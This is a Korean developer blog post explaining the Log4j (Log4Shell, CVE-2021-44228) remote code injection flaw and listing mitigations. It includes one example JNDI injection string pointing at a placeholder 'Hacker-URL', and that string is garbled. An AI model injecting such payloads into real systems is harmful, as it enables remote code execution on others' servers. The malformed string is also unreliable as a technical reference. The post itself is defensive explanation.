-
[Spring] 심각한 Log4j 보안문제 (feat. Slf4j)Back End/Spring Boot 2021. 12. 24. 16:05
제로데이 어택으로 분류되는 log4j CVE-2021-44228 이
2021년 11월 24일에 알리바바 클라우드 보안팀 소속 Chen Zhaojun 의해 보고 되었다.
(약 8년동안 방치되었다고 한다)
아파치의 Log4j 로 인해 Remote Code Injection (과거 SQL Injection 과 같이) 이 가능하다는 사실이 알려졌다.
애플, 테슬라, 아마존등에서 이미 이러한 취약점이 발견되었고, 보고 후 많은 테스트들이 시연되었다..
[얼마나 간단하기에?]
Log4j 의 JNDI와 LDAP 때문에 생긴 틈인데, 로그가 기록되는 곳(로그인과 사용자입력)을 찾아
${jndi:sndi:snd://Hacker-URL} 와 같은 값을 추가하면
Hacker-URL 에 호스팅 되어있는 코드가 공격받는 서버에서 실행된다.
[제로데이 어택]
취약점의 원리가 매우 간단하므로, 발표되자마자 공격이 들어올 수 있기에 많은 보안팀들이 철야를 한 것으로 보인다 ㅠㅠ...
(고생들 많으십니다..)
[전세계 보안팀들의 철야 그 이후]
전세계 보안팀들의 철야로 신속하게 대안방안들이 만들어졌으나
Fastly 에 따르면 해커들에 의해 어떤 웹사이트가 취약한지 엄청난 규모의 스캔이 이루어지고 있다고 한다.
(Log4j 가 있는지 모르는 경우도 있으니...)
[대응방법]
1. Log4j 라이브러리 최신버전으로 업데이트
2. property 설정 (업데이트 불가능한 경우)
// 속성 설정 (YML, properities, xml) log4j2.formatMsgNoLookups=true // 또는 환경변수 설정 LOG4J_FORMAT_MSG_NO_LOOKUPS=true
현재 포트폴리오용 프로젝트에 Slf4j 를 자주 쓰고있었는데, 아마도 손봐야 할 것 같다 😒😒😒
# [Reference]
1. CloudFlare Blog
728x90'Back End > Spring Boot' 카테고리의 다른 글
[Spring] HTTP 405 Error 원인 및 해결 방법 (0) 2022.02.15 [Spring] Controller 와 Service 레이어의 DTO,Entity 분리에 관하여 (0) 2021.12.25 [Spring] React 로 헤더 내려주기 (브라우저가 접근할 수 있는 헤더 제어하기) (0) 2021.12.03 [Spring] No Creators, like default construct, exist): cannot deserialize from Object value (no delegate- or property-based Creator (0) 2021.12.02 [Spring] RESTful API 설계 가이드 (1) 2021.12.01